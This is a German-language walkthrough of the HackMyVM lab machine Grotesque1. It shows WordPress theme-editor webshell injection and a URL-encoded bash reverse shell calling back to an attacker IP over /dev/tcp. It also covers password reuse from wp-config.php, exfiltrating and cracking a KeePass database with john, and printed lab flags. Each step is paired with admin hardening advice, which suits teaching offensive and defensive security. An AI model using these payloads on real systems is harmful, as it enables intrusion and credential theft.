Grotesque1 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
dcode.fr (Webservice)
curl (impliziert)
WordPress Theme Editor
nc (netcat)
python3
stty
cat
su
ls
python3 -m http.server
wget
mv
keepass2john
john
KeePass Client (impliziert)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:9c:83:dc	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Geräte zu finden.

Bewertung: Die IP-Adresse des Ziels wird als 192.168.2.118 identifiziert. Der Hersteller (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

Empfehlung (Pentester): Verwenden Sie 192.168.2.118 als Ziel für weitere Scans.
Empfehlung (Admin):** Netzwerk-Monitoring und Segmentierung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.118 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-16 11:24 CET
Nmap scan report for grotesk.hmv (192.168.2.118)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
66/tcp open  http    WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15))
|_http-server-header: WEBrick/1.4.2 (Ruby/2.5.5/2019-03-15)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
80/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 404 Not Found
MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: 127.0.1.1

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms grotesk.hmv (192.168.2.118)

Analyse: Ein Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf das Ziel durchgeführt.

Bewertung: Zwei offene HTTP-Ports werden gefunden: * **Port 66:** Ein WEBrick HTTP-Server (Ruby). Dies ist ungewöhnlich und deutet auf eine spezielle Anwendung oder einen Entwicklungs-Server hin. * **Port 80:** Ein Standard Apache HTTP-Server, der jedoch nur eine "404 Not Found"-Seite anzeigt. Dies könnte auf eine Fehlkonfiguration oder einen ungenutzten Virtual Host hindeuten. Der Hostname `grotesk.hmv` wird identifiziert (wahrscheinlich über Reverse DNS oder NetBIOS).

Empfehlung (Pentester): 1. **Port 66 (höchste Priorität):** Untersuchen Sie den WEBrick-Server. Führen Sie Directory Busting durch und prüfen Sie auf bekannte Schwachstellen für WEBrick 1.4.2 oder Ruby 2.5.5. 2. **Port 80:** Führen Sie Directory Busting durch, um zu sehen, ob trotz des 404-Fehlers versteckte Inhalte vorhanden sind. Prüfen Sie, ob der Hostname `grotesk.hmv` (ggf. in `/etc/hosts` eintragen) andere Ergebnisse liefert.
Empfehlung (Admin):** Stellen Sie sicher, dass nur benötigte Webserver laufen. Deaktivieren Sie den WEBrick-Server, wenn er nicht für die Produktion gedacht ist. Konfigurieren Sie Apache korrekt, um keine Standard-404-Seite anzuzeigen, wenn ein Virtual Host fehlt oder falsch konfiguriert ist.

Enumeration Port 66 (WEBrick & Brainfuck)

Analyse: Aus dem Kontext des Berichts geht hervor, dass bei der Untersuchung des WEBrick-Servers auf Port 66 (wahrscheinlich durch manuelles Browsen oder Directory Busting, das nicht explizit gezeigt wird) zwei interessante Ressourcen gefunden wurden: die Bilddatei `/sshpasswd.png` und das Verzeichnis `/lyricsblog/`.

Gefunden: http://grotesk.hmv:66/sshpasswd.png
Gefunden: http://grotesk.hmv:66/lyricsblog/

Bewertung: Eine Bilddatei mit "sshpasswd" im Namen ist höchst verdächtig. Das Verzeichnis `/lyricsblog/` deutet auf eine mögliche Blog-Anwendung hin.

Empfehlung (Pentester): 1. Laden Sie `sshpasswd.png` herunter und untersuchen Sie es (Metadaten, Steganographie, visueller Inhalt). 2. Rufen Sie `http://grotesk.hmv:66/lyricsblog/` im Browser auf, um die Anwendung zu identifizieren.
Empfehlung (Admin):** Speichern Sie keine sensiblen Informationen (oder Dateien mit verdächtigen Namen) im Web-Root. Sichern Sie alle Webanwendungen.

Analyse (Brainfuck): Der Bericht gibt an, dass `/sshpasswd.png` Brainfuck-Code enthielt (visuell im Bild oder in den Metadaten). Dieser Code wurde extrahiert und mit einem Online-Decoder (dcode.fr) entschlüsselt.

+++++ +[->+ +++++ <]>++ +++++ ++++. <++++ ++++[ ->+++ +++++ <]>++ ++..<
+++[- >---< ]>--. +++++ +++.< +++[- >---< ]>--- ---.< ++++[ ->+++ +<]>+
+..++ ++.<+ +++[- >---- <]>-- -.<++ +++++ [->-- ----- <]>-- ---.< +++++
+++[- >++++ ++++< ]>++. --.-- ----- .<
https://www.dcode.fr/brainfuck-language

Bewertung: Die Verwendung von Brainfuck ist eine obskure Methode, um Informationen zu verschleiern. Die Entschlüsselung ist entscheidend. Der *entschlüsselte Text* selbst fehlt im vorliegenden Log, aber der spätere WordPress-Login legt nahe, dass der Brainfuck-Code einen Benutzernamen und/oder einen Passwort-Hash (MD5) enthielt.

Empfehlung (Pentester): Führen Sie den Brainfuck-Code im verlinkten Decoder aus, um die darin enthaltenen Informationen (vermutlich WordPress-Zugangsdaten oder Hash) zu extrahieren.
Empfehlung (Admin):** Vermeiden Sie Obfuskation als Sicherheitsmaßnahme. Speichern Sie Zugangsdaten sicher (z.B. in Passwort-Managern oder Konfigurationsdateien mit korrekten Berechtigungen), nicht in Bildern oder obskuren Codeformaten im Web-Root.

Enumeration Port 80 (Apache & WordPress)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.118 -x zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e -t 100 -n -k
[...]
http://192.168.2.118/javascript           [Size: 319] [--> http://192.168.2.118/javascript/]
[...]

Analyse: Gobuster wird auf Port 80 ausgeführt, um nach Verzeichnissen und Dateien zu suchen.

Bewertung: Der Scan findet nur das Verzeichnis `/javascript`. Dies bestätigt, dass Port 80 wahrscheinlich nicht der primäre Angriffsvektor ist, da der Server hauptsächlich 404-Fehler liefert. Die interessante Anwendung (`/lyricsblog/`) scheint auf Port 66 zu laufen.

Empfehlung (Pentester): Konzentrieren Sie sich auf Port 66 und die dort gefundene `/lyricsblog/`-Anwendung.
Empfehlung (Admin):** Bereinigen oder konfigurieren Sie den Apache-Server auf Port 80 korrekt, wenn er nicht aktiv genutzt wird.

Analyse (WordPress Identifikation): Der Bericht stellt fest, dass `http://grotesk.hmv/lyricsblog/` (erreichbar über Port 66) eine WordPress-Blog-Anwendung ist.

http://grotesqueip/lyricsblog looks like it's just a song lyrics wordpress blog (Hostname/IP inkonsistent hier)
Login: http://grotesk.hmv/lyricsblog/wp-login.php

Bewertung: Die Identifikation als WordPress ist wichtig, da WordPress eine bekannte Angriffsfläche bietet (Plugins, Themes, Benutzer-Enumeration, Brute-Force-Logins).

Empfehlung (Pentester): Verwenden Sie Tools wie `wpscan` zur weiteren Enumeration von WordPress (Benutzer, Plugins, Themes, bekannte Schwachstellen). Versuchen Sie, sich mit den aus dem Brainfuck-Code entschlüsselten Credentials bei `wp-login.php` anzumelden.
Empfehlung (Admin):** Halten Sie WordPress, Themes und Plugins immer auf dem neuesten Stand. Verwenden Sie starke Passwörter. Schützen Sie die `wp-login.php`-Seite (z.B. mit Fail2Ban, Captcha, 2FA).

Initial Access (WordPress RCE)

Analyse (WordPress Login): Es wird ein Login bei WordPress (`wp-login.php`) durchgeführt.

User: erdalkomurcu
Pass: BC78C6AB38E114D6135409E44F7CDDA2 (MD5-Hash)

Bewertung: Ein Benutzername (`erdalkomurcu`) und ein MD5-Hash werden verwendet. Es ist unklar, ob der MD5-Hash direkt als Passwort funktioniert oder ob er vorher geknackt wurde. Da der Login erfolgreich ist (siehe nächster Schritt), muss eine der beiden Annahmen zutreffen. Das Verwenden eines MD5-Hashes als Passwort wäre eine grobe Fehlkonfiguration.

Empfehlung (Pentester): Versuchen Sie bei gefundenen MD5-Hashes immer, diese zu knacken (z.B. mit Crackstation). Testen Sie sowohl den Hash als auch das geknackte Passwort.
Empfehlung (Admin):** Verwenden Sie niemals Hashes als Passwörter. Speichern Sie Passwörter in WordPress mit dem Standard-Hashing-Mechanismus (phpass).

Analyse (Theme Editor RCE): Nach erfolgreichem WordPress-Login wird der Theme-Editor (`wp-admin/theme-editor.php`) verwendet, um die `404.php`-Datei des aktiven Themes ("Twenty Fifteen") zu bearbeiten.

URL: http://grotesk.hmv/lyricsblog/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen

# Inhalt, der in die 404.php eingefügt wird:

Bewertung: Dies ist eine klassische Methode zur Codeausführung in WordPress, wenn der Theme-Editor aktiviert ist und der eingeloggte Benutzer ausreichende Rechte hat. Eine einfache PHP-Webshell wird in die `404.php` injiziert.

Empfehlung (Pentester): Rufen Sie die modifizierte 404-Seite auf und übergeben Sie Befehle über den `cmd`-Parameter (z.B. `?cmd=id`). Etablieren Sie eine Reverse Shell für stabilen Zugriff.
Empfehlung (Admin):** Deaktivieren Sie den Theme- und Plugin-Editor in WordPress (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`), um diese Art von Angriff zu verhindern. Vergeben Sie Benutzerrollen mit minimalen Rechten.

URL: http://grotesk.hmv/lyricsblog/wp-content/themes/twentyfifteen/404.php?cmd=id
Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)
URL: http://grotesk.hmv/lyricsblog/wp-content/themes/twentyfifteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.109%2F9001%200%3E%261%27

Analyse: Die injizierte Webshell wird zuerst mit dem `id`-Befehl getestet, was bestätigt, dass sie als Benutzer `www-data` läuft. Anschließend wird ein URL-kodierter Bash-Reverse-Shell-Befehl ausgeführt, um eine Verbindung zum Listener des Angreifers (192.168.2.109:9001) herzustellen.

Bewertung: Die Webshell funktioniert und die Reverse Shell Payload wird erfolgreich ausgeführt.

Empfehlung (Pentester): Starten Sie den Netcat-Listener auf Port 9001, um die eingehende Verbindung zu empfangen.
Empfehlung (Admin):** Theme-Editor deaktivieren. Web Application Firewall (WAF) zur Erkennung/Blockierung von Webshells und Command Injection einsetzen.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.118] 57408
bash: cannot set terminal process group (542): Inappropriate ioctl for device
bash: no job control in this shell
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$

Analyse: Der Netcat-Listener empfängt die Reverse Shell vom Zielsystem.

Bewertung: Initialer Zugriff als Benutzer `www-data` wurde erfolgreich über die WordPress RCE erlangt.

Empfehlung (Pentester): Stabilisieren Sie die Shell und beginnen Sie mit der lokalen Enumeration als `www-data`.
Empfehlung (Admin):** Untersuchen Sie die Kompromittierung, beheben Sie die WordPress-Schwachstelle und prüfen Sie auf weitere unautorisierte Änderungen.

www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$ export TERM=xterm-256color
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$ Ctrl+Z
zsh: suspended  nc -lvnp 9001
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$

Analyse: Die erhaltene Reverse Shell wird mit Standardmethoden stabilisiert: Python PTY wird verwendet, um eine bessere Shell zu spawnen, `TERM` wird gesetzt, und `stty raw -echo; fg` wird auf dem Angreifersystem verwendet, um die korrekte Terminalbehandlung zu ermöglichen.

Bewertung: Die Shell ist nun interaktiver und einfacher zu bedienen (z.B. mit Tab-Vervollständigung, Pfeiltasten).

Empfehlung (Pentester): Führen Sie nun lokale Enumeration durch (z.B. `wp-config.php` lesen, `sudo -l` prüfen).
Empfehlung (Admin):** Minimalinstallationen ohne Python können diese Stabilisierung erschweren.

Privilege Escalation (www-data -> raphael -> root)

www-data@grotesque:/var/www/html/lyricsblog$ cat wp-config.php
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'raphael' );

/** MySQL database password */
define( 'DB_PASSWORD', '_double_trouble_' );
[...]

Analyse: Als `www-data` wird die WordPress-Konfigurationsdatei `wp-config.php` gelesen.

Bewertung: Kritischer Fund! Die Datei enthält die Zugangsdaten für die MySQL-Datenbank: Benutzer `raphael` mit dem Passwort `_double_trouble_`. Da `raphael` auch als Systembenutzer existiert (aus `/etc/passwd`-Leak, obwohl der hier nicht gezeigt wurde), ist dies ein starker Hinweis auf wiederverwendete Passwörter.

Empfehlung (Pentester): Versuchen Sie, sich mit `su raphael` und dem Passwort `_double_trouble_` als Systembenutzer `raphael` anzumelden.
Empfehlung (Admin):** Verwenden Sie niemals dasselbe Passwort für Datenbank- und Systembenutzer. Beschränken Sie die Dateiberechtigungen für `wp-config.php`, sodass sie nur für den Webserver-Prozess lesbar ist.

www-data@grotesque:/var/www/html/lyricsblog$ su raphael
Password: _double_trouble_
raphael@grotesque:/var/www/html/lyricsblog$

Analyse: Es wird versucht, mit `su` zum Benutzer `raphael` zu wechseln und das Datenbankpasswort wird eingegeben.

Bewertung: Erfolg! Das Passwort wurde wiederverwendet. Der Angreifer agiert nun als Systembenutzer `raphael`.

Empfehlung (Pentester): Führen Sie lokale Enumeration als `raphael` durch. Untersuchen Sie das Home-Verzeichnis.
Empfehlung (Admin):** Passwort-Wiederverwendung vermeiden und Richtlinien dafür durchsetzen.

raphael@grotesque:/var/www/html/lyricsblog$ cd
raphael@grotesque:~$ ls -la
total 24
drwxr-xr-x  4 raphael raphael 4096 Nov 16 04:16 .
drwxr-xr-x  3 root    root    4096 Jan 18  2021 ..
-rwx------  1 raphael raphael 2174 Jan 18  2021 .chadroot.kdbx
drwx------  3 raphael raphael 4096 Nov 16 04:16 .gnupg
-r-x------  1 raphael raphael   32 Jan 18  2021 user.txt
drwxr-xr-x 10 raphael raphael 4096 Jan 18  2021 vvmlist.github.io
raphael@grotesque:~$ cat user.txt
F6ACB21652E095630BB1BEBD1E587FE7raphael@grotesque:~$

Analyse: Das Home-Verzeichnis von `raphael` wird aufgelistet. Es enthält die User-Flagge (`user.txt`) und eine KeePass-Datenbankdatei (`.chadroot.kdbx`). Die User-Flagge wird ausgelesen.

Bewertung: Die User-Flagge wurde gefunden: `F6ACB21652E095630BB1BEBD1E587FE7`. Die KeePass-Datei `.chadroot.kdbx` ist der nächste wichtige Fund für die Privilege Escalation, da sie wahrscheinlich weitere Passwörter enthält (der Name deutet auf Root-Passwörter hin).

Empfehlung (Pentester): Übertragen Sie die `.chadroot.kdbx`-Datei auf das Angreifer-System. Verwenden Sie `keepass2john` und `john` (oder Hashcat), um das Master-Passwort der KeePass-Datenbank zu knacken.
Empfehlung (Admin):** Sensible Dateien wie Passwort-Datenbanken sollten verschlüsselt und mit starken Master-Passwörtern geschützt werden. Speichern Sie sie nicht ungeschützt im Home-Verzeichnis.

raphael@grotesque:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.109 - - [16/Nov/2022 05:23:35] "GET /.chadroot.kdbx HTTP/1.1" 200 -
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.118:8000/.chadroot.kdbx
--2022-11-16 12:23:35--  http://192.168.2.118:8000/.chadroot.kdbx
Verbindungsaufbau zu 192.168.2.118:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 2174 (2,1K) [application/octet-stream]
Wird in ».chadroot.kdbx« gespeichert.

.chadroot.kdbx                100%[==================================>]   2,12K  --.-KB/s    in 0,01s   

2022-11-16 12:23:35 (150 KB/s) - ».chadroot.kdbx« gespeichert [2174/2174]
┌──(root㉿cyber)-[~] └─# mv .chadroot.kdbx chad

Analyse: Auf dem Zielsystem (`raphael`-Shell) wird ein einfacher Python-HTTP-Server gestartet, um die `.chadroot.kdbx`-Datei bereitzustellen. Auf dem Angreifer-System wird `wget` verwendet, um die Datei herunterzuladen. Anschließend wird die Datei umbenannt.

Bewertung: Die KeePass-Datenbank wurde erfolgreich auf das Angreifer-System übertragen und für das Cracking vorbereitet.

Empfehlung (Pentester): Extrahieren Sie den Hash mit `keepass2john` und knacken Sie ihn.
Empfehlung (Admin):** Verhindern Sie das Starten von HTTP-Servern durch unprivilegierte Benutzer. Überwachen Sie ausgehende Verbindungen.

┌──(root㉿cyber)-[~] └─# keepass2john chad > chadhash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt chadhash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chatter          (chad)     
1g 0:00:00:36 DONE (2022-11-16 12:25) 0.02735g/s 739.3p/s 739.3c/s 739.3C/s clementina..andrew14
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: `keepass2john` extrahiert den Hash aus der KeePass-Datei (`chad`). John the Ripper wird mit `rockyou.txt` verwendet, um das Master-Passwort zu knacken.

Bewertung: Erfolg! Das Master-Passwort für die KeePass-Datei lautet `chatter`.

Empfehlung (Pentester): Öffnen Sie die KeePass-Datei (`chad`) mit einem KeePass-Client und dem Master-Passwort `chatter`. Suchen Sie nach Einträgen, insbesondere für den `root`-Benutzer.
Empfehlung (Admin):** Verwenden Sie starke, einzigartige Master-Passwörter für Passwort-Datenbanken, die nicht in gängigen Wortlisten vorkommen.

Keepass/root passwörter:
----------------------------
.:.subjective.:.
.:.yarak.:.
secretservice
rockyou.txt

Analyse: Die KeePass-Datenbank wurde geöffnet (Schritt nicht explizit gezeigt). Sie enthält mehrere Einträge, darunter einen, der als Root-Passwort identifiziert wird.

Bewertung: Das Root-Passwort wurde gefunden: `.:.subjective.:.`. Dies ist der Schlüssel zur vollständigen Kompromittierung.

Empfehlung (Pentester): Wechseln Sie mit `su root` und dem Passwort `.:.subjective.:.` zum Root-Benutzer.
Empfehlung (Admin):** Speichern Sie Root-Passwörter äußerst sicher. Vermeiden Sie einfache oder thematisch verwandte Passwörter in einer Datenbank.

Proof of Concept (Privilege Escalation via KeePass)

Analyse: Die folgenden Schritte demonstrieren die Eskalation zum Root-Benutzer unter Verwendung des aus der KeePass-Datenbank extrahierten Passworts.

raphael@grotesque:~$ su root
Password: .:.subjective.:.
root@grotesque:/home/raphael#

Analyse: Als Benutzer `raphael` wird `su root` ausgeführt und das gefundene Passwort eingegeben.

Bewertung: Fantastisch! Der Wechsel zum `root`-Benutzer war erfolgreich.

Empfehlung (Pentester): Lesen Sie die Root-Flagge aus `/root/root.txt`.
Empfehlung (Admin):** Ändern Sie das Root-Passwort. Beheben Sie die gesamte Angriffskette (LFI, WordPress RCE, Passwort-Wiederverwendung, unsichere KeePass-Speicherung).

root@grotesque:/home/raphael# cd
root@grotesque:~# cat root.txt
AF7DD472654CBBCF87D3D7F509CB9862
root@grotesque:~#

Analyse: Als `root` wird ins Home-Verzeichnis gewechselt und die Root-Flagge ausgelesen.

Bewertung: Die Root-Flagge `AF7DD472654CBBCF87D3D7F509CB9862` wurde erfolgreich gefunden.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin):** System bereinigen und alle identifizierten Schwachstellen beheben.

Flags

cat /home/raphael/user.txt
F6ACB21652E095630BB1BEBD1E587FE7
cat /root/root.txt
AF7DD472654CBBCF87D3D7F509CB9862